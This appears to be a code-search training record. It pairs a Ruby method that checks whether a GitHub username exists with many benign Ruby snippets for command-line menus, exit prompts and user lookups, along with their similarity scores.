"def return_to_menu\n puts Rainbow(\"\\nWould you like to return to the menu? (y/n)\").white.bright\n user_input = gets.chomp\n if user_input == \"y\"\n menu\n menu_choice\n elsif user_input == \"n\"\n puts Rainbow(\"Would you like to quit the app? (y/n)\").white.bright\n user_input = gets.chomp\n if user_input == \"y\"\n exit\n else\n menu\n menu_choice\n end\n end\n end",
"def does_user_quit(user_input)\n quit if user_input == ''\n end",
"def main_menu_check\n input = user_input\n until input == 'p'\n if input == 'q'\n exit!\n end\n puts \"Wrong input, enter p to play or q to quit\"\n input = user_input\n end\n end",
"def user_response(input)\n puts 'Please enter a letter or type \"exit!\" to save your game and exit:'\n if input == false\n gets.chomp.downcase\n else\n input\n end\n end",
"def exit_or_rerun\n puts \"\\nDo you want to select another category? (yes/no/exit)\\n\\n\"\n response = user_input_capture\n if AFFIRMATIVE_INPUT.include?(response.downcase)\n select_category\n elsif NEGATIVE_INPUT.include?(response.downcase) || QUIT_INPUT.include?(response.downcase)\n exit_app\n else\n puts \"Invalid response! Please enter 'yes', 'no', or 'exit' to quit\"\n exit_or_rerun\n end\n \n end",
"def process\n puts 'Welcome to the little maze program. If you want to exit,type \"exit\", otherwise,type any other things to continue '\n print PROMPT\n input = $stdin.gets.chomp.downcase\n\n while input != 'exit'\n puts \"If you want to want to set the size of the maze first, press '1'; if you want to input a string directly, press '2'; if you want to skip, type any other things\"\n print PROMPT\n input = $stdin.gets.chomp.downcase\n maze_choice(input)\n puts \"If you want to quit, please enter 'exit'. otherwise, type any other things\"\n print PROMPT\n input = $stdin.gets.chomp.downcase\n end\n puts \"Good Bye!\"\n end",
"def get_menu_input\n input = gets.strip\n if input == \"Y\"\n menu\n elsif input == \"N\" || input.downcase == \"exit\"\n exit_program\n else\n puts \"Sorry, I only understand 'Y' or 'N'\"\n get_menu_input\n end\n end",
"def do_manual\n display_world\n puts \"Press enter to continue\"\n STDOUT.flush\n input = STDIN.gets.chomp\n if input == \"quit\" or input == \"exit\"\n exit\n end\n end",
"def exit_checker(arg)\n if arg == \"exit\"\n puts \"Goodbye!\"\n return exit\n end\n end",
"def verification_one(input)\n while input != \"1\" && input != \"2\" && input != \"3\"\n if input == \"exit\"\n return false\n else\n puts \"Please enter (1-3) or type exit.\"\n print \"> \"\n input = gets.strip.downcase\n end\n end\n\n case input\n when \"1\"\n input = \"Critically Endangered\"\n when \"2\"\n input = \"Endangered\"\n when \"3\"\n input = \"Vulnerable\"\n end\n input\n end",
"def initial_prompt\n puts \"How would you like to explore?\"\n puts \"---------------------------------\"\n puts \"\"\n puts \"1) Search by Year\"\n puts \"2) Search by production title\"\n puts \"\\n\\t ** or type Exit **\"\n input = gets.strip.downcase\n case input\n when \"exit\"\n goodbye\n when \"1\"\n year_search\n when \"2\"\n production_search\n else \n unclear\n end\n end",
"def get_answer\n\tprint \"please enter the keyword to 'exit': \"\n\tprint \"hint: it is one of the letters in the word 'exit' \"\n\tanswer = gets.chomp.downcase\n\treturn answer\nend",
"def dan\n\n puts 'What?'\n\n input = gets.chomp\n\n until input == 'exit'\n\n if input == input.upcase\n puts \"Woah, chill out!\"\n elsif input.include? \"?\"\n puts \"Sure...\"\n else\n puts \"Whatever...\"\n end\n\n input = gets.chomp\n\n end\n \nend",
"def end_of_game\n\t\tputs \"\"\n\t\tputs \"Would you like to play again? [Y]es or [N]o\"\n\t\tinput = gets.chomp.upcase\n\t\tif input == 'Y'\n\t\t\tclear_screen\n\t\t\tinitialize\n\t\telsif input == 'N'\n\t\t\tabort(\">Exiting game<\")\n\t\telse\n\t\t\terror\n\t\t\tend_of_game\n\t\tend\n\tend",
"def menu\n puts 'Welcome to the ruby calculator!'\n puts 'Press 1 to calculate or 2 to quit'\n case\n answer = gets.strip\n when '1'\n calculate\n when '2'\n exit\nend\nend",
"def getinput(question, default = '')\n askuser = question + \" ('q' to quit)\"\n askuser << (!default.empty? ? \" [#{default}]: \" : \": \")\n puts askuser\n myui = gets.chomp\n if myui.casecmp('q').zero? then\n puts \"Okay, g'bye!\"\n exit\n end\n return myui\nend",
"def play_again?\n puts \"do you want to play again? (y/n)\"\n ans = gets.chomp.downcase\n if ans != 'y'\n exit\n end\nend",
"def start_program\n puts 'Type Start to begin program or type Exit to close it at any time'\n user_response = gets.chomp\n while user_response != 'Exit' && user_response != 'Start'\n puts 'Incorrect input'\n puts 'Type Start to begin program or type Exit to close it at any time'\n user_response = gets.chomp\n end\n @running = false if user_response == 'Exit'\n end",
"def again_or_exit?(crate)\n puts \"\\n\\nWhat would you like to do now?\\n1. View another genre.\\n2. Exit\"\n input = gets.strip\n input_i = input.to_i\n acceptable_answers = (1..2).to_a\n while acceptable_answers.none? { |answer| answer == input_i }\n puts \"\\nI'm sorry, that's not a valid option.\"\n puts \"Please enter 1 or 2.\"\n input_i = gets.strip.to_i\n end \n\n if input_i == 1\n self.start(crate)\n else\n puts \"Have a good one!\"\n end\n end",
"def prompt_after_search\n puts \"\"\n puts \"--------------------| Search Completed |----------------------\"\n puts \" Type 'start' to start over or 'exit' to exit search \"\n input = gets.strip\n if input == \"exit\"\n puts \"Search Ended....\"\n elsif input == \"start\"\n puts \"Enter New Search\"\n self.define_scraper\n end\n end",
"def welcome_screen\n puts \"Welcome to the MLB Health System\"\n puts \"Choose: 'sign in' or 'create account'.\"\n puts \"To exit, type 'exit'.\"\n input = gets.chomp\n\n case input\n when \"sign in\"\n sign_in\n when \"create account\"\n create_account\n when \"exit\"\n exit\n else\n invalid_input\n end\nend",
"def submenu\n inputted = nil\n puts \" \"\n puts \"Would you like to see another city? Enter Y or N.\"\n puts \" \"\n inputted = gets.strip.downcase\n if inputted == \"y\"\n choose_city\n elsif inputted == \"n\" # ISSUE prints \"please enter # of city\" still need to input = exit to exit\n goodbye\n # puts \"Thanks, please type exit.\"\n else \n puts \"I don't understand your answer.\"\n submenu\n end \n end",
"def verification_two(input)\n if input == \"exit\"\n return false\n end\n\n while input.to_i <= 0 || input.to_i > (EndangeredAnimals::Animal.all.length)\n puts \"Please enter a number between 1 and #{EndangeredAnimals::Animal.all.length} or type exit.\"\n input = gets.strip\n\n if input == \"exit\"\n return false\n end\n end\n input\n end",
"def quit(player, input)\n \t\tunless input =~ /quit/i\n \t\t\tprint_line \"You must type the entire word 'quit' to quit.\\n\"\n \t \telse\n \t\t\tprint_line \"Until next time...\"\n \t\t\t$win.refresh\n \t\t\tsleep 3\n \t\t\t$win.close\n \t\t\texit\n \t\tend\n\tend",
"def player_input \n while user_input = gets.chomp \n case user_input\n when \"2\"\n puts \"Try again\".colorize(:yellow)\n puts\n when \"1\"\n system ('clear')\n puts \"You're doing great! Keep it up!\".colorize(:white).colorize(:background => :blue)\n puts\n break\n else\n puts \"Please select either 1 or 2\".colorize(:yellow)\n end\n end\nend",
"def continue\n if gets == \"\\n\"\n system \"clear\"\n main\n end\n end",
"def main_menu\n puts \"\"\n puts \"-----------------------------------------------\"\n puts \"\"\n puts \"Please select an option:\"\n puts \"\"\n puts \"Enter 'list' for a list characters, 'quote' for a random Stan Lee quote, or 'exit' to bid farewell.\"\n puts \"\"\n input = user_input\n\n if input == 'list'\n list_characters\n elsif input == 'quote'\n stan_lee_quote\n elsif input == 'exit'\n goodbye\n elsif input != 'list' || input != 'exit' # had to add \"input !=\" each time to avoid the string literal warning\n invalid_input\n main_menu\n end\n \n end",
"def mock_me()\n puts \"Enter your input below. Type 'quit' to exit.\"\n input = gets.chomp\n until input == \"quit\" do\n puts input\n input = gets.chomp\n end\nend",
"def sit_or_quit\n puts \"Sit? or Quit?\"\n puts \"1--sit; 2--quit\"\n get_input = gets.chomp\n while (!is_int?(get_input)) || ((is_int?(get_input)) && !((1..2)===Integer(get_input))) \n puts \"Invalid input. Please re-input: 1--sit;2--quit\"\n get_input = gets.chomp\n end\n choice = Integer(get_input)\n case choice\n when 1\n @player_status = \"in\"\n when 2\n @player_status = \"out\"\n end\n end",
"def main_menu\n\tputs \"welcome to the magic 8 ball.\"\n\tputs \"To begin type PLAY; if you would like to exit type QUIT.\"\n\t\n\t\n\tanswer = gets.strip.downcase\n\n\tif answer == \"play\"\n\t\teight_ball\n\telse\n\t\texit\n\tend\nend",
"def menu\n puts \"If you would like to learn about an artist, go ahead and type their name.\\n\"\n puts \"If you would like to see a list of the artists that we can tell you about, type list (there are over 500!).\\n\"\n puts \"To exit this program, type exit.\\n\"\n chosen_artist = nil\n #loop to ask user for input until \"exit\" is typed\n while chosen_artist != \"exit\"\n\n chosen_artist = gets.strip.downcase\n\n case chosen_artist\n when \"exit\"\n goodbye\n when \"list\"\n list_artists\n puts \"I can tell you about any of these artists, or you can type 'exit' to quit.\"\n when \"menu\"\n menu\n else\n puts \"\\nMusical Biography of #{chosen_artist.capitalize}:\"\n @artists = DiscoverMusic::CLI.pass_artist_bio(chosen_artist)\n puts \"\\nTry another artist or type 'menu' to return to the menu or 'exit' to quit.\"\n end\n end\n\n end",
"def player_input2 \n while user_input = gets.chomp \n case user_input\n when \"1\"\n puts \"Try again\".colorize(:yellow)\n puts\n when \"2\"\n system ('clear')\n puts \"You're an awesome friend!\".colorize(:black).colorize(:background => :magenta)\n puts\n break\n else\n puts \"Please select either 1 or 2\".colorize(:yellow)\n puts\n end\n end\nend",
"def exit_game_reviews\n system('clear')\n graphic_thanks\n graphic_bottom\n print \"\\n\" + \" \" * 40 + \"Press any key to continue... \"\n STDIN.getch\n puts \"\"\n system('clear')\n exit\nend",
"def input_2\n input = gets.chomp\n if \n input == \"list\"\n Character.all.clear\n call\n elsif\n input == \"exit\"\n clear\n puts \"Goodbye!\".colorize(:green).colorize(:background => :black)\n exit!\n else \n clear \n puts \"Try Again\".colorize(:red).colorize(:background => :black)\n\n puts \"\\nType list to search for another character or exit to quit.\".colorize(:blue).colorize(:background => :black)\n input_2\n end \n end",
"def prompt_new_game\n puts \"\"\n puts \"Do you want to play again? (y)\"\n puts \"Press any other key to exit\"\n return gets.chomp\nend",
"def exit_prg \n puts \"Your brain must hurt from learning all of that information!\"\n exit \n end",
"def unrecognized_input\n puts \"Input not recognized or is invalid.\"\n exit_screen\n end",
"def new_hand_check\n puts 'Are you ready to play? Enter ' + '(Y)es'.light_green + ' to proceed or ' + '(N)o'.light_red + ' to return to the main menu.'\n @input = STDIN.gets.chomp\n if @input.downcase == 'y' || @input.downcase == 'yes'\n @game_running = true\n elsif @input.downcase == 'n' || @input.downcase == 'no'\n @game_running = false\n else\n puts 'Please enter a valid input.'\n new_hand_check\n end\nend",
"def return_or_quit\n puts \"Please select r to return to the home screen or q to exit the program.\"\n choice = gets.chomp.downcase\n case choice\n when \"r\"\n command_list\n when \"q\"\n quit_program\n else\n return_or_quit\n end\n end",
"def valid?\n @input != \"exit\" && @input != \"quit\"\n end",
"def user_menu \n system(\"clear\")\n puts \"=================\"\n puts \"Welcome to Lunch\"\n puts \"Would you like to make an order? Y or N?\"\n order_choice = gets.strip \n if order_choice == \"Y\" || order_choice == \"y\"\n main_dishes \n elsif order_choice == \"N\" || order_choice == \"n\"\n puts \"Come back soon!\"\n exit \n else \n puts \"Invalid Choice.\"\n user_menu \n end \nend",
"def game\n puts \"Time to play rock, paper, scissors, lizard, spock!\"\n puts \"Choose your move!\"\n get_input\n puts \"play again? (y)es (n)o\"\n choice = gets.chomp.strip.downcase\n exit unless choice.include?(\"y\")\n game\nend",
"def fetch_input(prompt)\n\tprint prompt\n\tgets.chomp #implicit return again\nend",
"def exit\n send_cmd \"exit\"\n nil\n end",
"def menu\n puts '|____________________________________________________________|'\n puts '| |'\n puts '| -- M E N U : |'\n puts '| |'\n puts \"| * Show : 's' |\"\n puts \"| * Quit : 'q' |\"\n puts '|____________________________________________________________|'\n\n input = ''\n loop do\n puts ''\n input = ask ' >> '\n puts ''\n if ['q', 's'].include? input\n break\n else\n puts ' ____________________________________________________________ '\n puts '| |'\n puts '| Invalid input, please try again... |'\n puts '|____________________________________________________________|'\n end\n end\n input\nend",
"def exit_program\n exit\n end",
"def pleasure_reading_menu\n input = nil\n\n until input == 'exit'\n\n pleasure_reading_menu_instructions\n input = gets.strip\n \n case input\n when 'poems'\n poem_selection_menu \n when 'poets'\n poet_selection_menu\n when 'exit'\n goodbye\n else\n puts \"Invalid input! Please select a valid option!\"\n end\n end\n end",
"def coming_soon_message\n puts \"Feature coming soon!\"\n puts \"Return to main? (y)es (e)xit Votersim\"\n\n @input = gets.chomp.downcase\n\n case @input\n when \"y\"\n prompt_user_for_initial_choices\n when \"e\"\n exit\n else\n coming_soon_message\n end\n end",
"def input_esc\r\n return :exit\r\n end",
"def run(songs)\n help\n puts \"Please enter a command:\"\n input = gets.chomp\n until input == \"exit\"\n if input == \"list\"\n list(songs)\n elsif input == \"play\"\n play(songs)\n elsif input == \"help\"\n help\n else\n puts \"Invalid command\"\n end\n puts \"Please enter a command:\"\n input = gets.chomp\n end\n exit_jukebox\nend",
"def exit?\n type == :exit\n end",
"def input_esc\n return :exit\n end",
"def main_menu\n puts \"===============\"\n puts \"Make a selection\"\n puts \"===============\"\n puts \"1: Command line\"\n puts \"2: Atom\"\n puts \"3: Search?\"\n puts \"4: Quit\"\n puts \"===============\"\n\n case gets.strip\n when \"1\"\n command_line_menu\n when \"2\"\n atom_menu\n when \"3\"\n search_function\n reset\n when \"4\"\n exit 0\n else\n bad_choice\n main_menu\n end\nend",
"def handle_input\n # Takes user input\n input = STDIN.gets.chomp\n system('clear')\n\n # Single word commands\n # QUIT\n if input == 'quit'\n @run_game = false\n puts \"Thanks for playing!\"\n sleep(3)\n system('clear')\n\n # BACKPACK\n elsif input == 'backpack'\n @player.print_backpack\n\n # HELP\n elsif input == 'help'\n puts \"Use the commands to move around the AirBnB and use items to help you escape.\"\n\n else\n # Double word commands \n input_arr = input.split(\" \")\n # User has only entered one word\n if input_arr.size > 1\n command1 = input_arr[0]\n command2 = input_arr[1]\n # TAKE ITEM\n if command1 == \"take\"\n take_item(command2)\n # USE ITEM\n elsif command1 == \"use\"\n use_item(command2)\n # GO ROOM\n elsif command1 == \"go\"\n go_room(command2)\n else\n # User doesn't specify second command\n puts \"I'll need more information than that!\"\n end\n else\n # User enters invalid command word\n puts \"That isn't a valid command\"\n end\n end\n end",
"def decide\n input = '0'\n puts \"What would you like to do? 1) hit 2) stay\"\n loop do\n input = gets.chomp\n if !['1', '2'].include?(input)\n puts \"Error: you must enter 1 or 2\"\n else\n break\n end\n end\n puts \"Hit me!\" if input == '1'\n puts \"Stay!\" if input == '2'\n input \n end",
"def main\n finished = false\n begin\n puts 'Main Menu:'\n puts '1 To Enter or Update Album'\n puts '2 To Play existing Album'\n puts '3 Exit'\n choice = read_integer_in_range(\"Please enter your choice:\", 1, 3)\n #read_string('Press enter to continue')\n case choice\n when 1\n maintain_albums\n when 2\n play_exisiting_album\n when 3\n finished = true \n end\n end until finished \nend",
"def do_special_input_stuff(input)\n case input\n when \"save\"\n save\n []\n when \"reset\"\n puts \"Choose different piece:\"\n \"reset\"\n when \"quit\"\n puts \"QUITTING\"\n exit\n else\n false\n end\n end",
"def run_guessing_game\n\n while true\n puts \"Guess a number between 1 and 6.\"\n user = gets.chomp\n random_number = rand(1..6).to_s\n\n if user == \"exit\"\n puts \"Goodbye!\"\n return\n elsif user == random_number\n puts \"You guessed the correct number!\"\n else\n puts \"The computer guessed 5.\"\n end\n end\nend",
"def exit_program\n exit\n end",
"def greet\n puts \"=\" * 45\n puts \"HI I am Fred, would you like to play some Over-Under 7\"\n puts \"1.) Yes\"\n puts \"2.) No\"\n case gets.to_i\n when 1\n puts \"That is great!\"\n puts \"What is your name?\"\n @user_name = gets.strip\n host\n when 2\n puts \"Okay have a great day!\"\n exit\n end\nend",
"def mainMenu\nwhile 1\n\tputs \"Choose an option.\"\n\t#user input for initial menu\n\tstartmenuinput = gets.chomp\n\t#removes empty characters/spaces/commas from the command\n\tstartmenuinput = startmenuinput.strip()\n\tstartmenuinput = startmenuinput.downcase\n\tcase startmenuinput\n\twhen 'buy'\n\tbuymenu\n\twhen 'sell'\n\tsellmenu\n\twhen 'exit'\n\t\texit\n\telse \n\t\tputs \"Something went wrong. Try again.\"\n\tend\nend\nend",
"def check_yes_no_input(input)\n\twhile input != 'y' && input != 'n'\n\t\tputs \"Wrong Input! Please type 'y' to continue to game or 'n' to quit\"\n\t\tinput = gets.strip.downcase\n\tend\n\tinput\nend",
"def main_menu() \n user_input = nil\n while user_input != 4\n system(\"clear\")\n\n puts title_box(\"Main Menu\")\n\n prompt = TTY::Prompt.new\n question = \"Select an action:\"\n choices = [{\"Add book\" => 1}, {\"Check log\" => 2}, {\"Manage log\" => 3}, {\"Exit\" => 4}]\n user_input = prompt.select(question, choices) \n #add new book to log\n if user_input == 1\n add_book()\n #check log\n elsif user_input == 2\n check_log()\n # manage log\n elsif user_input == 3\n manage_log() \n else user_input == 4\n return user_input\n end\n end\nend",
"def get_help\n puts \"RULES:\\n* Not Allowed to use any search engines for the answers\\n* 1 Player per game\\n* Must enjoy!\".colorize(:red)\n puts \"HELP:\\nAt Main Menu press the key 1 to Continue the game.\\nType the chosen Genre\\nAnswer following 10 questions\\nView score & Play again! \".colorize(:blue)\n puts \"\\nPress R to Return to MAIN MENU or ANY other key to exit\".colorize(:yellow)\n user_input = gets.chomp.downcase\n exit unless user_input == 'r'\nend",
"def exit_program\n abort('Exiting...')\n end",
"def continue_prompt\n puts \"\\nWould you like to explore more?\"\n puts \"Yes/No\"\n input = gets.strip.downcase\n if input == \"n\" || input == \"no\" || input == \"exit\"\n goodbye\n else\n system(\"clear\")\n initial_prompt\n end\n end",
"def ask_for_start\n puts \"Do you want to start the game? y/n\"\n user_input = Info.get_user_input\n if user_input.downcase == \"y\"\n start_game\n elsif user_input.downcase == \"n\"\n puts \"You said no :(\"\n else\n exit_app\n end\n end",
"def exit() end",
"def menu\n input = gets.strip.downcase\n \n if input == \"hungry\"\n cuisine_list\n menu # return 'menu' don't want my user to get kicked out of application \n elsif input == \"goodbye\"\n goodbye\n else \n invalid_entry\n end \n end",
"def menu\n puts \"Welcome to RubyCo! What would you like to do?\"\n puts \"1) View Available Products\"\n puts \"2) View My Cart\"\n puts \"3) Exit Store\"\n puts \"Please choose 1, 2, or 3\"\n user_input = gets.strip.to_i\n if user_input == 1\n puts \"----------------\"\n avail_products \n elsif user_input == 2\n view_cart\n elsif user_input == 3\n puts \"Thanks for shopping today! Goodbye!\"\n exit \n else\n puts \"Invalid Input. Try 1, 2, or 3.\"\n menu\n end\nend",
"def choice\n puts \"Welcome to haiwet\"\n\n input = nil\n while input != \"exit\" do\n puts \"please enter the name of the service you want to see a list of\"\n puts \"1- courses\"\n puts \"2- products\"\n puts \"3- Other\"\n input = gets.strip.downcase\n if input == \"courses\"\n cours_list\n option_cour\n done\n elsif input == \"products\"\n products_list\n option_prod\n done\n elsif input == \"other\"\n site_list\n option_site\n done\n else\n puts \"Didn't you understand?\"\n end\n\n end\n\n end",
"def ask_new_game\n print \"Would you like to start a new game?: [y/n]\".blue\n new_game = $stdin.gets.chomp\n\n if new_game.downcase == \"y\"\n print \"\\e[H\\e[2J\"\n :new_game\n else\n puts \"Bye!!!\".green\n :finished\n end\n end",
"def menu\n puts \"Welcome to RubyCo! What would you like to do?\"\n puts \"1) View Available Products\"\n puts \"2) View My Cart\"\n puts \"3) Exit Store\"\n puts \"Please choose 1, 2, or 3\"\n user_input = gets.strip.to_i\n if user_input == 1\n puts \"----------------\"\n avail_products\n elsif user_input == 2\n view_cart\n elsif user_input == 3\n puts \"Thanks for shopping today! Goodbye!\"\n exit\n else\n puts \"Invalid Input. Try 1, 2, or 3.\"\n menu\n end\nend",
"def quit\n puts \"Come on #{@name} Are you joking?\"\n puts \"If you want to leave me you will have to ask it kindly\"\n puts \"Tell me in good manner that you want to leave\"\n print \">> \"\n variable_with_no_use = gets\n @list = @funny_list\n roll_the_dice\n chao\nend",
"def exit_with_msg(msg)\n $stderr.puts msg + \"\\nPress enter to continue...\\n\"\n $stdin.getc\n exit false\nend",
"def continue_browsing\n puts \"Would you like to keep learning more about COVID-19 spread?\".green\n user_input = gets.strip.downcase\n\n until user_input == \"yes\" || user_input == \"no\"\n puts \"I didn't understand that command.\".red\n puts \"Please enter YES or NO\".green\n user_input = gets.strip.downcase\n end\n\n user_input == \"yes\" ? program_run : sign_off\n end",
"def user_decision(x)\n loop do\n\n puts \"What would you like to do? (view, add, update, remove, search or exit)\"\n user_input = gets.chomp.downcase\n\n if user_input == 'exit'\n break\n\n elsif user_input == 'view'\n puts \"processing...\"\n view_contact_list(x)\n break\n\n elsif user_input == 'add'\n add_contact(x)\n puts \"processing...\"\n break\n\n elsif user_input == 'update'\n puts \"processing...\"\n update_contact(x)\n break\n\n elsif user_input == 'remove'\n puts \"processing...\"\n remove(x)\n break\n\n elsif user_input == 'search'\n puts \"processing...\"\n print_individual_contact(x)\n break\n\n else\n puts \"Invalid response. Please try again.\"\n end\n end\nend",
"def process_user_input\n command = get_user_input\n while command != \"quit\"\n perform_command(command)\n command = get_user_input\n end\n puts \"Good bye!\"\nend",
"def back_to_main()\n prompt = TTY::Prompt.new\n user_input = prompt.keypress(\n \"Press space or enter to return to main menu\", keys: [:space, :return]\n )\n system(\"clear\")\nend",
"def exit_game\n print clear_screen, \"\\n\"\n print \"\\\"What business is it of yours where I'm from, friendo?\\\"\", \"\\n\"\n print '-- Anton Chigurh : No Country for Old Men', \"\\n\\n\"\n throw :exit\n end",
"def exit_pretend_user_input\n $stdin = STDIN\nend",
"def user_input(comics)\n input = \"\"\n while input != 'exit'\n puts 'What month do you want to see comics for?'\n puts \"Enter '1' for January, '2' for February, etc.\"\n puts \"Type 'exit' to exit program.\"\n input = gets.chomp\n if input == 'exit'\n input.downcase!\n else\n input = input.to_i\n this_months_savers = selected_comics(comics, input)\n print_releases(this_months_savers)\n end\n end\nend",
"def instruct_and_abort_if_user_gave_no_input\n if ARGV.empty?\n \tabort(\"Error - Search input empty - you shall enter '$ ruby google_searcher.rb 'your search on Google''\")\n end\nend",
"def showMainMenu\r\n #clear user input field\r\n @userInput = \"\";\r\n #display main menu respond to user and wait for response\r\n @userRespone = \"Welcome To Voter Simulation! \\n\\nWhat would you like to do?\\n(C)reate, (L)ist, (U)pdate, (D)elete or (E)xit\"\r\n puts @userRespone;\r\n @userInput = gets.chomp;\r\n #call check user input after coming out of the loop\r\n checkUserInput();\r\n end",
"def get_input\n\t#Get input from the user.\n return gets.chomp\nend"
] |
[
"0.8412108",
"0.80942607",
"0.7987256",
"0.78843486",
"0.77687",
"0.7548082",
"0.74881923",
"0.7485723",
"0.7465754",
"0.7430789",
"0.7379376",
"0.7343002",
"0.7341505",
"0.7187348",
"0.71590465",
"0.7078806",
"0.7067296",
"0.70634484",
"0.7060815",
"0.7059599",
"0.7046937",
"0.69716525",
"0.69615",
"0.6957681",
"0.6945147",
"0.69316405",
"0.6930122",
"0.69288665",
"0.6893909",
"0.6871375",
"0.6846054",
"0.68329257",
"0.6824198",
"0.68192124",
"0.67964536",
"0.67937446",
"0.67854136",
"0.6783618",
"0.67549974",
"0.67545545",
"0.67503875",
"0.6729895",
"0.6714126",
"0.6710566",
"0.6699209",
"0.6692405",
"0.667226",
"0.6667304",
"0.6665544",
"0.6656316",
"0.6651789",
"0.6646825",
"0.6632407",
"0.6622373",
"0.662132",
"0.65887135",
"0.65590185",
"0.6548953",
"0.65368754",
"0.65352595",
"0.6534603",
"0.6532084",
"0.65309715",
"0.6527394",
"0.65226626",
"0.6515276",
"0.65043825",
"0.650009",
"0.6496796",
"0.6496713",
"0.64948994",
"0.64914805",
"0.6486031",
"0.648511",
"0.6480658",
"0.64804924",
"0.64792013",
"0.64751863",
"0.6473322",
"0.64648",
"0.6459907",
"0.6450533",
"0.6442881",
"0.6440642",
"0.6435834",
"0.6432214",
"0.64308494",
"0.6403835",
"0.64005524",
"0.6396094",
"0.6391157",
"0.63780636",
"0.63758963",
"0.63746715",
"0.63666534",
"0.6354581",
"0.6353547",
"0.63501155",
"0.63492477",
"0.6335285"
] |
0.7928289
|
3
|
checks to see if a github username exists
|
def username_exists?(github_username)
!!User.all.find_by(github_username: github_username)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def find_user(github_username)\n if username_exists?(github_username)\n User.all.find_by(github_username: github_username)\n else\n false\n end\n end",
"def test_github_profile_exists\n people.each do |name, info|\n github_username = info.fetch(\"github\", false)\n if github_username\n assert_kind_of Sawyer::Resource, octokit.user(github_username), \"#{github_username} is not a real GitHub account\"\n end\n end\n end",
"def github_check\n begin\n unless github.blank?\n RestClient.get \"https://github.com/#{github}\"\n end\n rescue\n errors.add :base, \"Invalid Github account.\"\n end\n end",
"def has_github?\n !github_url.blank?\n end",
"def has_github?\n github_identity.present?\n end",
"def profile_exists? github_id\n # Commenting this out because it takes too much time to verify in India\n # 2/4/2015 @vyder\n # TODO: Make this check optional\n true\n # http_status_code = %x( curl -s -o /dev/null -w \"%{http_code}\" https://github.com/#{github_id})\n #\n # http_status_code == \"200\"\nend",
"def is_yours?\n @repo[:name].include?(\"#{@user.username}/\")\n end",
"def github_repo?\n @url.scan('https://github.com/').present?\n end",
"def already_on_repo?(user, repo)\n repo.users.include?(user)\n end",
"def github_account?\n !github_user.nil? and !github_token.nil?\n end",
"def linked_github_account?\n accounts.for(\"github\").any?\n end",
"def username_exists?(username)\n return User.find_by_username(username) != nil\nend",
"def username_exists?(username)\n return User.find_by_username(username.downcase) != nil\nend",
"def valid_user?(repo, options = {})\n response = get(repo.public_users_path, options)\n if response[:id].present?\n true\n else\n raise Github::UserNotFound, [NO_USER,\n '[',\n response[:message].to_s,\n ']'].join\n end\n end",
"def user_exists?(username)\n !!Etc.getpwnam(username) rescue false\nend",
"def exists?(username)\n !!find(username)\n end",
"def org_member?(client)\n begin\n client.user # Authenticate User.\n if client.org_member?(GITHUB_ORG, client.user.login)\n return true\n else\n return false\n end\n rescue Octokit::OneTimePasswordRequired => e\n GitLfsS3::Application.settings.logger.warn\\\n 'Octokit::OneTimePasswordRequired exception raised for username #{client.user.login}. '\\\n 'Please use a personal access token.'\n return false\n rescue Octokit::Unauthorized\n return false\n end\nend",
"def does_exist(username)\n @user_manager.exists?(username)\n end",
"def user_exists?(username)\n users(username: username).present?\n end",
"def authorized_for_github?\n !github.nil?\n end",
"def github_domain?\n !!domain.match(/\\.github\\.com$/)\n end",
"def user_exists?(name)\n Etc.getpwnam(name).name == name\n rescue ArgumentError\n false\n end",
"def github_url\n github_user.blank? ? nil : \"#{GITHUB_URL}#{github_user}\"\n end",
"def exists?(username)\n perform_request({:action => 'client-checkexists', :username => username})\n end",
"def pointed_to_github_user_domain?\n dns.first.class == Net::DNS::RR::CNAME && pages_domain?(dns.first.cname.to_s) if dns?\n end",
"def org?(user)\n response = Typhoeus.head \"https://github.com/orgs/#{user}/people\", accept_encoding: 'gzip'\n response.success? || response.response_code == 429\nend",
"def exists\n render plain: nil,\n status: User.find_by_username(params[:username]) ? 200: 404\n end",
"def git_url?(url)\n url.include?('.git') || url.include?('git@') || url.include?('git://')\n end",
"def test_input_username_retrieves_info_from_github\n skip\n # get \"/\"\n # post \"/profile\"\n assert_equal \"https://api.github.com/users/stevefake/repos\", \"\"\n end",
"def username_exist\n user = User.find_for_database_authentication(username: params[:user][:username])\n if user\n render json: {status: 500, message: \"Username is already taken.\"}\n else\n render json: {status: 200, message: \"Username is available.\"}\n end\n end",
"def username\n account = github_accounts.first || slack_accounts.first\n account ? account.username : id\n end",
"def existing_username\n valid = true\n existing_username = DATABASE.execute(\"SELECT * FROM members WHERE username = '#{username}';\")\n \n if !existing_username.empty?\n valid = false\n end\n return valid\n end",
"def current_account_has_username?\n logged_in? && current_account.username.present?\n end",
"def validate_username_is_unique(username)\n return false unless username != nil\n return !User.username_exists?(username)\n end",
"def github_user_and_project(github_url)\n matches = /github\\.com.(.*?)\\/(.*)/.match(github_url)\n matches ? [matches[1], matches[2].sub(/\\.git\\z/, '')] : [nil, nil]\n end",
"def access_to_repo?(repo_url: nil)\n client.repository?(repo_url.sub(\"https://github.com/\", \"\"))\n end",
"def find_by_username_menu\n puts\n puts \"Enter a GitHub username with *EXACT* capitalization to list that user's repos:\"\n input = gets_user_input\n #if username exists in our DB, don't make API call.\n if !username_exists?(input)\n #making an API call\n get_data(input)\n end\n if find_user(input) == false\n puts \"That user doesn't exist or doesn't have any public repos\"\n menu\n else\n @user = find_user(input)\n end\n @repos = find_repos(@user)\n if show_repos(@repos) == false\n puts \"User has no repos\"\n menu\n end\n find_by_username_sub_menu\n end",
"def username_exists?(params)\n !!User.find_by(username: params[:username])\n end",
"def owner_user_in_db?\n Woodlock::User.find_by(github_username: @project.github_owner) ? true : false\n end",
"def user_exists?(username)\n Sys::Admin.get_user(username)\n true\n rescue\n false\n end",
"def gitlab_user_exists?(gitlab_url, private_token)\n with_gitlab(gitlab_url, private_token) do |g|\n g.user\n end\n\n true\n rescue Gitlab::Error::Unauthorized\n false\n end",
"def exists?\n username && api_key\n end",
"def existing_repo?\n @repo = Repo.where(full_name: repo_full_name).first\n @repo.present?\n end",
"def has_user_credential?(username)\n self.credentials.map { |credential| credential.username }.include?(username)\n end",
"def current_user_repository_access?\n client = Octokit::Client.new(access_token: @current_user.github_token)\n client.repository?(\"#{@project.github_owner}/#{@project.github_name}\")\n end",
"def github\n self.account.blank? ? nil : GitHub::API.user(self.account)\n end",
"def display_name\n if name.blank?\n github_username\n else\n name\n end\n end",
"def hasuser? username\n\t\[email protected]? username\t\t\n\tend",
"def show\n @user = User.find_by_github_name params[:github_name]\n end",
